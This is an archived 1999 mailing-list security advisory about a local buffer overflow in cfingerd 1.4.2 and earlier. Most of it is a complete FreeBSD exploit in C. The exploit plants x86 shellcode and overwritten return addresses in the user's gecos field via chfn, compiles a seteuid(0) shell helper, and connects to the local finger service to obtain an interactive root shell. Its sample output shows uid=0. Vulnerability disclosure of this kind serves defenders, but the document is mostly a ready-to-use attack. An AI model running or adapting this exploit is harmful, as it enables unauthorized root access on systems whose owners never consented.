BP9909-00: cfingerd local buffer overflow

From: Przemyslaw Frasunek (secureat_private)
Date: Tue Sep 21 1999 - 07:12:23 PDT

  • Next message: Dug Song: "Windows IP source routing attack"

    -----BEGIN PGP SIGNED MESSAGE-----
    
                    Babcia Padlina Ltd. Security Advisory (BP-9909:00)
                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Synopsis:
    
            Cfingerd is vulnerable to local buffer overflow attack.
    
    Vulnerable versions:
    
            Cfingerd 1.4.2 and earlier installed on systems which doesn't
            limit gecos length.
    
    Description:
    
            By setting carefully designed gecos it is possible to execute
            arbitrary code with root (or nobody) priviliges.
    
    Sample code (FreeBSD version):
    
    - --------------------------------------------------------------------------------
    
    /*
    
    babcia padlina ltd. cfingerd local root exploit
    
    RET: bfbfd7d2
    PTR: bfbfd750
    
    setting up...
    
    Username: ๋#^_‰^_1า‰V_‰V_‰V_ˆV_1ภฐ;In real life:
    
    Home directory: ิืฟฟUe_(            Shell: ‰ƒ@โ
    Room: ๋#^_‰^_1า‰V_‰V_‰V_ˆV_1ภWork phone:
    Home phone:                         Other:
    
    This user has no mail or mail spool.
    Last seen Sun Sep 19 01:09 PM (CEST) from lagoon.gadaczka
    
    uid=0(root) gid=0(wheel) groups=0(wheel)
    
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    
    #define BUFFER_SIZE     80
    #define ADDRS           190
    #define PTROFS          200
    #define RETOFS          330
    #define NOP             0x90
    #define FILE1           "user.inf"
    #define FILE2           "hack"
    #define FILE3           "set"
    #define FINGER          79
    #define MAXLINE         1024
    #define LOCALHOST       0x7f000001
    #define GREEN           "\033[1;32m"
    #define RED             "\033[1;31m"
    #define NORM            "\033[1;39m"
    #define UNBOLD          "\E[m"
    
    long getesp(void)
    {
            __asm__("movl %esp,%eax\n");
    }
    
    void sh(sockfd)
    int sockfd;
    {
            char buf[MAXLINE];
            int c;
            fd_set rf, drugi;
    
            FD_ZERO(&rf);
            FD_SET(0, &rf);
            FD_SET(sockfd, &rf);
    
            while (1)
            {
                    bzero(buf, MAXLINE);
                    memcpy (&drugi, &rf, sizeof(rf));
                    select(sockfd+1, &drugi, NULL, NULL, NULL);
                    if (FD_ISSET(0, &drugi))
                    {
                            c = read(0, buf, MAXLINE);
                            send(sockfd, buf, c, 0x4);
                    }
    
                    if (FD_ISSET(sockfd, &drugi))
                    {
                            c = read(sockfd, buf, MAXLINE);
                            if (c<0) return;
                            write(1,buf,c);
                    }
            }
    }
    
    int connectto(void)
    {
            int sockfd;
            char sendbuf[MAXLINE];
            struct sockaddr_in cli;
    
            bzero(&cli, sizeof(cli));
            cli.sin_family = AF_INET;
            cli.sin_addr.s_addr=htonl(LOCALHOST);
            cli.sin_port = htons(FINGER);
    
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
            {
                    perror("socket");
                    return -1;
            }
    
            if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
            {
                    perror("connect");
                    return -1;
            }
    
            sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
            write(sockfd, sendbuf, strlen(sendbuf));
    
            sleep(1);
    
            sprintf(sendbuf, "%.900s/%s\n", getenv("HOME"), FILE3);
            write(sockfd, sendbuf, strlen(sendbuf));
    
            sleep(1);
    
            sprintf(sendbuf, "id\n");
            write(sockfd, sendbuf, strlen(sendbuf));
    
            unlink(FILE3);
    
            fflush(stdout);
            fflush(stderr);
    
            sh(sockfd);
    
            return;
    }
    
    
    
    int main(argc, argv)
    int argc;
    char **argv;
    {
            char *buf1 = NULL, *buf2 = NULL, *p = NULL;
            u_long *addr_ptr = NULL;
            int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS, ptrofs = PTROFS;
            int retofs = RETOFS;
            long ret, ptr;
            FILE *phile;
    
            char execshell[] =
            "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
            "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
            "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
            "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
    
            fprintf(stderr, "\n%sbabcia padlina ltd. cfingerd local root
    exploit%s%s\n\n", GREEN, NORM, UNBOLD);
    
            if(argc > 5)
            {
                    bufsize = atoi(argv[1]);
                    addrs = atoi(argv[2]);
                    ptrofs = atoi(argv[3]);
                    retofs = atoi(argv[4]);
            }
    
            if(!(buf1 = malloc(bufsize+1)))
            {
                    perror("malloc()");
                    return -1;
            }
    
            if(!(buf2 = malloc(addrs+1)))
            {
                    perror("malloc()");
                    return -1;
            }
    
            ret = getesp() + retofs;
            ptr = getesp() + ptrofs;
    
            noplen = bufsize - strlen(execshell);
            memset(buf1, NOP, noplen);
            strcat(buf1, execshell);
    
            p = buf2;
            addr_ptr = (unsigned long *)p;
    
            for(i = 0; i < (addrs / 4) /2; i++)
                    *addr_ptr++ = ptr;
    
            for(i = 0; i < (addrs / 4) /2; i++)
                    *addr_ptr++ = ret;
    
            p = (char *)addr_ptr;
            *p = '\0';
    
            if ((phile = fopen(FILE1, "w")) == NULL)
            {
                    perror("fopen()");
                    return -1;
            }
    
            fprintf(stderr, "%sRET: %s%x\n%sPTR: %s%x%\n\n%ssetting up...%s%s\n",
    GREEN, RED, ret, GREEN, RED, ptr, GREEN, NORM, UNBOLD);
    
    
    fprintf(phile, "#Changing user database information for %s.\n"
                    "Shell: %s\n"
                    "Full Name: %s\n"
                    "Office Location: %s\n"
                    "Office Phone: \n"
                    "Home Phone: \n"
                    "Other information: \n",
                    getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
    
            fclose(phile);
    
            if ((phile = fopen(FILE2, "w")) == NULL)
            {
                    perror("fopen()");
                    return -1;
            }
    
            fprintf(phile, "cat user.inf>\"$1\"\n");
            fprintf(phile, "touch -t 2510711313 \"$1\"\n");
    
            fclose(phile);
    
            sprintf(buf1, "%s.c", FILE3);
    
            if ((phile = fopen(buf1, "w")) == NULL)
            {
                    perror("fopen()");
                    return -1;
            }
    
            // buffer is too small to execute seteuid/setegid there, so we have
            // to do this here.
    
            fprintf(phile, "main() { seteuid(0); setegid(0); system(\"exec
    /bin/sh\"); }");
            fclose(phile);
    
            sprintf(buf2, "/usr/bin/cc -o %s %s.c", FILE3, FILE3);
    
            system(buf2);
            unlink(buf1);
    
            system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn > /dev/null
    2>&1");
            unlink(FILE1);
            unlink(FILE2);
    
            if (connectto() < 0)
                    return -1;
    
            return 0;
    }
    
    - --------------------------------------------------------------------------------
    
    - ---
    * Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-062409 *
    * Inet: venglinat_private ** PGP: D48684904685DF43 EA93AFA13BE170BF *
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGPfreeware 5.0i for non-commercial use
    Charset: noconv
    
    iQCVAwUBN+eSRtO5/yfsePq1AQH15QQAgRmuBrdfZTFnwr61IqYHQVZACxhUrtdu
    Qh5yV/QsavnkOg4ozb5bADdh3b6F44jcP5UOR1AfRynAYzflB3xcWItokH4FthMC
    sIGyIXgkbRheEdL6JylqhgZVu5bO+e1AygqygeyQRXE+r/+KjXp1lDOaRXaZpL2C
    cuKy0fNSscs=
    =kfQ4
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:04:43 PDT